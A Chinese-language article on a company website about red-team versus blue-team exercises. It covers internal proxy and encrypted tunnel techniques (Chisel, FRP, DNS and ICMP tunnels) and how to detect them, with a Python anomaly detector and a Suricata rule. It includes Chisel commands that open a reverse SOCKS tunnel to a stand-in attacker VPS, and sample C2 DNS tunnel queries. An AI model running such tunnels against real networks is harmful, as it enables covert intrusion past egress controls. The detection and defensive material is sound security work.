拓冰建站拓冰建站
首页 / 资讯中心 / 正文

红蓝对抗实录(二):内网代理搭建与加密隧道流量告警分析

红蓝对抗实录二内网代理搭建与加密隧道流量告警分析在实战攻防演练与红蓝对抗中红队在突破外网边界获取内网打点权限后面临的第一道核心屏障便是企业严格的内网隔离策略与防火墙出入站访问控制。为了实现稳定、隐蔽的多层内网横向穿透与 C2 控制红队需搭建各类正反向代理与隐蔽加密隧道Tunneling。与此同时蓝队防御体系已经从单纯的“边界端口封堵”演进为基于网络流量分析NTA / NDR与深度包检测DPI的异常行为识别。深入剖析主流隧道协议的底层机理与其在流量层面的指纹特征是提升攻防对抗能力的关键。红队内网隧道搭建全景与穿透矩阵根据目标网络防火墙的出网策略Egress Policy红队采用的穿透技术可划分为如下矩阵----------------------------------------------------------- | Egress Network Matrix | ---------------------------------------------------------- | 允许任意 TCP 出网 | 方案: Socks5 / FRP / Chisel | | | 流量: 伪装 HTTP/2 或 TLS | ---------------------------------------------------------- | 仅允许 Web 代理 (HTTP/HTTPS)| 方案: Neo-reGeorg / WebSocket| | | 流量: 经由 80/443 出网 | ---------------------------------------------------------- | 仅允许内部 DNS 解析出网 | 方案: DNS Tunnel (dnscat2) | | | 流量: TXT / A 记录编码 | ---------------------------------------------------------- | 禁止 TCP/UDP 仅放行 Ping | 方案: ICMP Tunnel (icmpsh) | | | 流量: Echo Request/Reply | ----------------------------------------------------------常见隧道工具与底层协议实现1. 基于 HTTP/2 与 TLS 的现代代理ChiselChisel 是目前红队首选的快速隧道工具底层基于 Go 语言实现支持纯 TCP/UDP 端口转发与标准 Socks5 代理所有数据经过 SSH 协议封装并通过单个 HTTP/2 或 WebSockets 物理连接传输# 攻击者公网 VPS 开启服务端 (监听 8080 端口开启反向代理认证) chisel server -p 8080 --reverse --auth redteam:StrongPass987 # 受控内网主机发起反向连接将内网 Socks5 代理暴露给公网服务端的 1080 端口 chisel client --auth redteam:StrongPass987 https://attacker-vps:8080 R:1080:socks2. 极端隔离环境下的 DNS 隧道原理当内网主机完全切断外网直连路由仅配置了内网内部 DNS 服务器时攻击者可以通过将数据切片并进行 Base32/Base64 编码嵌入到自定义权威域名的子域名查询中[ Compromised Host ] --- [ Internal DNS Server ] --- [ Root / TLD ] --- [ Attacker Authoritative NS ] (Query: data.c2.domain) (Decodes data replies)数据流交互示例客户端请求TX_data12345.c2.example.comTXT 记录服务端响应RX_ack_and_command.c2.example.comTXT 响应体携带下发指令加密流量特征提取从网络元数据中捕获隐蔽信道即使红队将隧道数据全部使用 AES 或 TLS 加密其网络传输行为依然会留下鲜明的统计学与协议元数据特征1. TLS 握手与证书指纹异常自签名与伪造证书许多开源工具如早期 FRP、未调优的 Cobalt Strike默认使用自签名证书其颁发者字段Issuer/Subject常包含固定特征串或格式不合规。JA3 / JA3S 指纹Go 语言标准库crypto/tls或 Pythonurllib的 TLS Client Hello 握手特征支持的密码套件 Cipher Suites 列表、扩展列表与椭圆曲线参数具有高度固定的 JA3 哈希值与正常主流浏览器Chrome/Edge的指纹差异显著。2. 会话心跳与时间序列周期性Beaconing Periodicity未配置高抖动Jitter的 C2 或代理隧道其 Keepalive 保活心跳包在时间轴上呈现高度严格的周期性分布如每隔精确 10.0s 发送一个 64 字节包其时间间隔方差趋近于 0。3. 数据包熵值Shannon Entropy与上下行突发比密文载荷的香农熵通常高达 7.5~8.0接近完全随机分布。如果未加密的协议如 DNS TXT 或 HTTP Cookie中承载了高熵值数据即可判定为隐蔽信道。突发比分析代理在进行内网大文件回传或端口扫描时连接会呈现“长连接持续存在 突发性上行巨量流量 下行微量 ACK”的非典型 Web 交互特征。蓝队 NTA/NDR 实时告警模型与 Sigma 规则构建以下为基于 Python 实现的实时网络流异常检测引擎包含 DNS 隧道高频检测与 TLS 心跳周期性分析import math from collections import defaultdict from typing import List def calculate_shannon_entropy(data: str) - float: 计算字符串的香农信息熵 if not data: return 0.0 entropy 0.0 length len(data) char_counts defaultdict(int) for c in data: char_counts[c] 1 for count in char_counts.values(): p count / length entropy - p * math.log2(p) return entropy class NetworkAnomalyDetector: def __init__(self): self.dns_query_history defaultdict(list) def inspect_dns_query(self, src_ip: str, domain: str, record_type: str) - bool: 检测异常 DNS 隧道外发特征 subdomain domain.split(.)[0] entropy calculate_shannon_entropy(subdomain) subdomain_len len(subdomain) # 判定标准超长子域名 高信息熵 TXT/NULL 查询类型 if (subdomain_len 35 and entropy 3.8) or (record_type TXT and subdomain_len 25): print(f[!] ALERT [DNS Tunnel Detected] Src: {src_ip} | Domain: {domain} | Entropy: {entropy:.2f} | Len: {subdomain_len}) return True return False def inspect_tls_heartbeat(self, timestamps: List[float], threshold_variance: float 0.05) - bool: 检测 C2/代理隧道严格心跳周期性 if len(timestamps) 5: return False intervals [timestamps[i1] - timestamps[i] for i in range(len(timestamps)-1)] avg_interval sum(intervals) / len(intervals) variance sum((x - avg_interval) ** 2 for x in intervals) / len(intervals) if variance threshold_variance and avg_interval 1.0: print(f[!] ALERT [Strict Beaconing Detected] Interval: {avg_interval:.2f}s | Variance: {variance:.4f}) return True return False if __name__ __main__: detector NetworkAnomalyDetector() # 模拟 DNS 隧道查询 detector.inspect_dns_query(192.168.10.50, a8fbc71290dae8127394efbc129841.tunnel.c2domain.com, TXT) # 模拟严格周期性心跳 detector.inspect_tls_heartbeat([10.0, 15.01, 20.02, 25.01, 30.00])Suricata NIDS 告警规则设计针对常见 FRP / Chisel 默认特征的 Suricata 规则# 针对 FRP 协议特定魔数或握手特征检测 alert tcp $HOME_NET any - $EXTERNAL_NET any ( msg:ET REDTEAM Fast Reverse Proxy (FRP) Connection Attempt; flow:established,to_server; content:|7b 22 76 65 72 73 69 6f 6e 22 3a|; # {version: in json handshake content:|22 72 75 6e 5f 69 64 22 3a|; # run_id: threshold:type limit, track by_src, count 1, seconds 300; classtype:trojan-activity; sid:2026091501; rev:1; )动态阻断与纵深协同反制策略针对高隐蔽代理隧道蓝队应采取自动化联动处置边界防火墙动态阻断当 NDR 产生高置信度告警时联动边界防火墙如 Palo Alto / FortinetAPI 下发临时封禁规则将目标外连 IP 与恶意域名即时拉入黑名单。EDR 端网协同取证通过网络连接的五元组信息源 IP、源端口、目的 IP、目的端口、协议反查受害主机上的特定进程 PID 与可执行文件 Hash自动对恶意代理进程下发kill与内存镜像 Dump 指令实现全链条闭环处置。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门